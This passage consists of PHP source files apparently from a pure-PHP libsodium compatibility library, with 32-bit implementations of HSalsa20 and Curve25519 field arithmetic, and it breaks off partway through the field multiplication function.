    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_HSalsa20
 */
abstract class ParagonIE_Sodium_Core32_HSalsa20 extends ParagonIE_Sodium_Core32_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        return $x0->toReverseString() .
            $x5->toReverseString() .
            $x10->toReverseString() .
            $x15->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString();
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core32_Curve25519 extends ParagonIE_Sodium_Core32_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                ParagonIE_Sodium_Core32_Int32::fromInt(1),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_add(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = $f[$i]->addInt32($g[$i]);
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $arr */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            $h[$i] = $f[$i]->xorInt32(
                $f[$i]->xorInt32($g[$i])->mask($b)
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte string.');
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $h0 */
        $h0 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4($s)
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h1 */
        $h1 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 4, 3)) << 6
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h2 */
        $h2 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 7, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h3 */
        $h3 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 10, 3)) << 3
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h4 */
        $h4 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 13, 3)) << 2
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h5 */
        $h5 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4(self::substr($s, 16, 4))
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h6 */
        $h6 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 20, 3)) << 7
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h7 */
        $h7 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 23, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h8 */
        $h8 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 26, 3)) << 4
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h9 */
        $h9 = ParagonIE_Sodium_Core32_Int32::fromInt(
            (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2
        );

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt32($carry9->mulInt(19, 5));
        $h9 = $h9->subInt32($carry9->shiftLeft(25));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt32($carry1);
        $h1 = $h1->subInt32($carry1->shiftLeft(25));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt32($carry3);
        $h3 = $h3->subInt32($carry3->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt32($carry5);
        $h5 = $h5->subInt32($carry5->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt32($carry7);
        $h7 = $h7->subInt32($carry7->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt32($carry0);
        $h0 = $h0->subInt32($carry0->shiftLeft(26));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt32($carry2);
        $h2 = $h2->subInt32($carry2->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt32($carry4);
        $h4 = $h4->subInt32($carry4->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt32($carry6);
        $h6 = $h6->subInt32($carry6->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt32($carry8);
        $h8 = $h8->subInt32($carry8->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, $h9)
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe $h)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64[] $f
         * @var ParagonIE_Sodium_Core32_Int64 $q
         */
        $f = array();

        for ($i = 0; $i < 10; ++$i) {
            $f[$i] = $h[$i]->toInt64();
        }

        $q = $f[9]->mulInt(19, 5)->addInt(1 << 14)->shiftRight(25)
            ->addInt64($f[0])->shiftRight(26)
            ->addInt64($f[1])->shiftRight(25)
            ->addInt64($f[2])->shiftRight(26)
            ->addInt64($f[3])->shiftRight(25)
            ->addInt64($f[4])->shiftRight(26)
            ->addInt64($f[5])->shiftRight(25)
            ->addInt64($f[6])->shiftRight(26)
            ->addInt64($f[7])->shiftRight(25)
            ->addInt64($f[8])->shiftRight(26)
            ->addInt64($f[9])->shiftRight(25);

        $f[0] = $f[0]->addInt64($q->mulInt(19, 5));

        $carry0 = $f[0]->shiftRight(26);
        $f[1] = $f[1]->addInt64($carry0);
        $f[0] = $f[0]->subInt64($carry0->shiftLeft(26));

        $carry1 = $f[1]->shiftRight(25);
        $f[2] = $f[2]->addInt64($carry1);
        $f[1] = $f[1]->subInt64($carry1->shiftLeft(25));

        $carry2 = $f[2]->shiftRight(26);
        $f[3] = $f[3]->addInt64($carry2);
        $f[2] = $f[2]->subInt64($carry2->shiftLeft(26));

        $carry3 = $f[3]->shiftRight(25);
        $f[4] = $f[4]->addInt64($carry3);
        $f[3] = $f[3]->subInt64($carry3->shiftLeft(25));

        $carry4 = $f[4]->shiftRight(26);
        $f[5] = $f[5]->addInt64($carry4);
        $f[4] = $f[4]->subInt64($carry4->shiftLeft(26));

        $carry5 = $f[5]->shiftRight(25);
        $f[6] = $f[6]->addInt64($carry5);
        $f[5] = $f[5]->subInt64($carry5->shiftLeft(25));

        $carry6 = $f[6]->shiftRight(26);
        $f[7] = $f[7]->addInt64($carry6);
        $f[6] = $f[6]->subInt64($carry6->shiftLeft(26));

        $carry7 = $f[7]->shiftRight(25);
        $f[8] = $f[8]->addInt64($carry7);
        $f[7] = $f[7]->subInt64($carry7->shiftLeft(25));

        $carry8 = $f[8]->shiftRight(26);
        $f[9] = $f[9]->addInt64($carry8);
        $f[8] = $f[8]->subInt64($carry8->shiftLeft(26));

        $carry9 = $f[9]->shiftRight(25);
        $f[9] = $f[9]->subInt64($carry9->shiftLeft(25));

        $h0 = $f[0]->toInt32()->toInt();
        $h1 = $f[1]->toInt32()->toInt();
        $h2 = $f[2]->toInt32()->toInt();
        $h3 = $f[3]->toInt32()->toInt();
        $h4 = $f[4]->toInt32()->toInt();
        $h5 = $f[5]->toInt32()->toInt();
        $h6 = $f[6]->toInt32()->toInt();
        $h7 = $f[7]->toInt32()->toInt();
        $h8 = $f[8]->toInt32()->toInt();
        $h9 = $f[9]->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        $str = self::fe_tobytes($f);
        /** @var string $zero */
        return !self::verify_32($str, $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        /**
         * @var ParagonIE_Sodium_Core32_Int32[] $f
         * @var ParagonIE_Sodium_Core32_Int32[] $g
         * @var ParagonIE_Sodium_Core32_Int64 $f0
         * @var ParagonIE_Sodium_Core32_Int64 $f1
         * @var ParagonIE_Sodium_Core32_Int64 $f2
         * @var ParagonIE_Sodium_Core32_Int64 $f3
         * @var ParagonIE_Sodium_Core32_Int64 $f4
         * @var ParagonIE_Sodium_Core32_Int64 $f5
         * @var ParagonIE_Sodium_Core32_Int64 $f6
         * @var ParagonIE_Sodium_Core32_Int64 $f7
         * @var ParagonIE_Sodium_Core32_Int64 $f8
         * @var ParagonIE_Sodium_Core32_Int64 $f9
         * @var ParagonIE_Sodium_Core32_Int64 $g0
         * @var ParagonIE_Sodium_Core32_Int64 $g1
         * @var ParagonIE_Sodium_Core32_Int64 $g2
         * @var ParagonIE_Sodium_Core32_Int64 $g3
         * @var ParagonIE_Sodium_Core32_Int64 $g4
         * @var ParagonIE_Sodium_Core32_Int64 $g5
         * @var ParagonIE_Sodium_Core32_Int64 $g6
         * @var ParagonIE_Sodium_Core32_Int64 $g7
         * @var ParagonIE_Sodium_Core32_Int64 $g8
         * @var ParagonIE_Sodium_Core32_Int64 $g9
         */
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();
        $g0 = $g[0]->toInt64();
        $g1 = $g[1]->toInt64();
        $g2 = $g[2]->toInt64();
        $g3 = $g[3]->toInt64();
        $g4 = $g[4]->toInt64();
        $g5 = $g[5]->toInt64();
        $g6 = $g[6]->toInt64();
        $g7 = $g[7]->toInt64();
        $g8 = $g[8]->toInt64();
        $g9 = $g[9]->toInt64();
        $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we only want 5 bits */
        $g2_19 = $g2->mulInt(19, 5);
        $g3_19 = $g3->mulInt(19, 5);
        $g4_19 = $g4->mulInt(19, 5);
        $g5_19 = $g5->mulInt(19, 5);
        $g6_19 = $g6->mulInt(19, 5);
        $g7_19 = $g7->mulInt(19, 5);
        $g8_19 = $g8->mulInt(19, 5);
        $g9_19 = $g9->mulInt(19, 5);
        $f1_2 = $f1->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f9_2 = $f9->shiftLeft(1);
        $f0g0    = $f0->mulInt64($g0, 27);
        $f0g1    = $f0->mulInt64($g1, 27);
        $f0g2    = $f0->mulInt64($g2, 27);
        $f0g3    = $f0->mulInt64($g3, 27);
        $f0g4    = $f0->mulInt64($g4, 27);
        $f0g5    = $f0->mulInt64($g5, 27);
        $f0g6    = $f0->mulInt64($g6, 27);
        $f0g7    = $f0->mulInt64($g7, 27);
        $f0g8    = $f0->mulInt64($g8, 27);
        $f0g9    = $f0->mulInt64($g9, 27);
        $f1g0    = $f1->mulInt64($g0, 27);
        $f1g1_2  = $f1_2->mulInt64($g1, 27);
        $f1g2    = $f1->mulInt64($g2, 27);
        $f1g3_2  = $f1_2->mulInt64($g3, 27);
        $f1g4    = $f1->mulInt64($g4, 30);
        $f1g5_2  = $f1_2->mulInt64($g5, 30);
        $f1g6    = $f1->mulInt64($g6, 30);
        $f1g7_2  = $f1_2->mulInt64($g7, 30);
        $f1g8    = $f1->mulInt64($g8, 30);
        $f1g9_38 = $g9_19->mulInt64($f1_2, 30);
        $f2g0    = $f2->mulInt64($g0, 30);
        $f2g1    = $f2->mulInt64($g1, 29);
        $f2g2    = $f2->mulInt64($g2, 30);
        $f2g3    = $f2->mulInt64($g3, 29);
        $f2g4    = $f2->mulInt64($g4, 30);
        $f2g5    = $f2->mulInt64($g5, 29);
        $f2g6    = $f2->mulInt64($g6, 30);
        $f2g7    = $f2->mulInt64($g7, 29);
        $f2g8_19 = $g8_19->mulInt64($f2, 30);
        $f2g9_19 = $g9_19->mulInt64($f2, 30);
        $f3g0    = $f3->mulInt64($g0, 30);
        $f3g1_2  = $f3_2->mulInt64($g1, 30);
        $f3g2    = $f3->mulInt64($g2, 30);
        $f3g3_2  = $f3_2->mulInt64($g3, 30);
        $f3g4    = $f3->mulInt64($g4, 30);
        $f3g5_2  = $f3_2->mulInt64($g5, 30);
        $f3g6    = $f3->mulInt64($g6, 30);
        $f3g7_38 = $g7_19->mulInt64($f3_2, 30);
        $f3g8_19 = $g8_19->mulInt64($f3, 30);
        $f3g9_38 = $g9_19->mulInt64($f3_2, 30);
        $f4g0    = $f4->mulInt64($g0, 30);
        $f4g1    = $f4->mulInt64($g1, 30);
        $f4g2    = $f4->mulInt64($g2, 30);
        $f4g3    = $f4->mulInt64($g3, 30);
        $f4g4    = $f4->mulInt64($g4, 30);
        $f4g5    = $f4->mulInt64($g5, 30);
        $f4g6_19 = $g6_19->mulInt64($f4, 30);
        $f4g7_19 = $g7_19->mulInt64($f4, 30);
        $f4g8_19 = $g8_19->mulInt64($f4, 30);
        $f4g9_19 = $g9_19->mulInt64($f4, 30);
        $f5g0    = $f5->mulInt64($g0, 30);
        $f5g1_2  = $f5_2->mulInt64($g1, 30);
        $f5g2    = $f5->mulInt64($g2, 30);
        $f5g3_2  = $f5_2->mulInt64($g3, 30);
        $f5g4    = $f5->mulInt64($g4, 30);
        $f5g5_38 = $g5_19->mulInt64($f5_2, 30);
        $f5g6_19 = $g6_19->mulInt64($f5, 30);
        $f5g7_38 = $g7_19->mulInt64($f5_2, 30);
        $f5g8_19 = $g8_19->mulInt64($f5, 30);
        $f5g9_38 = $g9_19->mulInt64($f5_2, 30);
        $f6g0    = $f6->mulInt64($g0, 30);
        $f6g1    = $f6->mulInt64($g1, 30);
        $f6g2    = $f6->mulInt64($g2, 30);
        $f6g3    = $f6->mulInt64($g3, 30);
        $f6g4_19 = $g4_19->mulInt64($f6, 30);
        $f6g5_19 = $g5_19->mulInt64($f6, 30);
        $f6g6_19 = $g6_19->mulInt64($f6, 30);
        $f6g7_19 = $g7_19->mulInt64($f6, 30);
        $f6g8_19 = $g8_19->mulInt64($f6, 30);
        $f6g9_19 = $g9_19->mulInt64($f6, 30);
        $f7g0    = $f7->mulInt64($g0, 30);
        $f7g1_2  = $g1->mulInt64($f7_2, 30);
        $f7g2    = $f7->mulInt64($g2, 30);
        $f7g3_38 = $g3_19->mulInt64($f7_2, 30);
        $f7g4_19 = $g4_19->mulInt64($f7, 30);
        $f7g5_38 = $g5_19->mulInt64($f7_2, 30);
        $f7g6_19 = $g6_19->mulInt64($f7, 30);
        $f7g7_38 = $g7_19->mulInt64($f7_2, 30);
        $f7g8_19 = $g8_19->mulInt64($f7, 30);
        $f7g9_38 = $g9_19->mulInt64($f7_2, 30);
        $f8g0    = $f8->mulInt64($g0, 30);
        $f8g1    = $f8->mulInt64($g1, 29);
        $f8g2_19 = $g2_19->mulInt64($f8, 30);
        $f8g3_19 = $g3_19->mulInt64($f8, 30);
        $f8g4_19 = $g4_19->mulInt64($f8, 30);
        $f8g5_19 = $g5_19->mulInt64($f8, 30);
        $f8g6_19 = $g6_19->mulInt64($f8, 30);
        $f8g7_19 = $g7_19->mulInt64($f8, 30);
        $f8g8_19 = $g8_19->mulInt64($f8, 30);
        $f8g9_19 = $g9_19->mulInt64($f8, 30);
        $f9g0    = $f9->mulInt64($g0, 30);
        $f9g1_38 = $g1_19->mulInt64($f9_2, 30);
        $f9g2_19 = $g2_19->mulInt64($f9, 30);
        $f9g3_38 = $g3_19->mulInt64($f9_2, 30);
        $f9g4_19 = $g4_19->mulInt64($f9, 30);
        $f9g5_38 = $g5_19->mulInt64($f9_2, 30);
        $f9g6_19 = $g6_19->mulInt64($f9, 30);
        $f9g7_38 = $g7_19->mulInt64($f9_2, 30);
        $f9g8_19 = $g8_19->mulInt64($f9, 30);
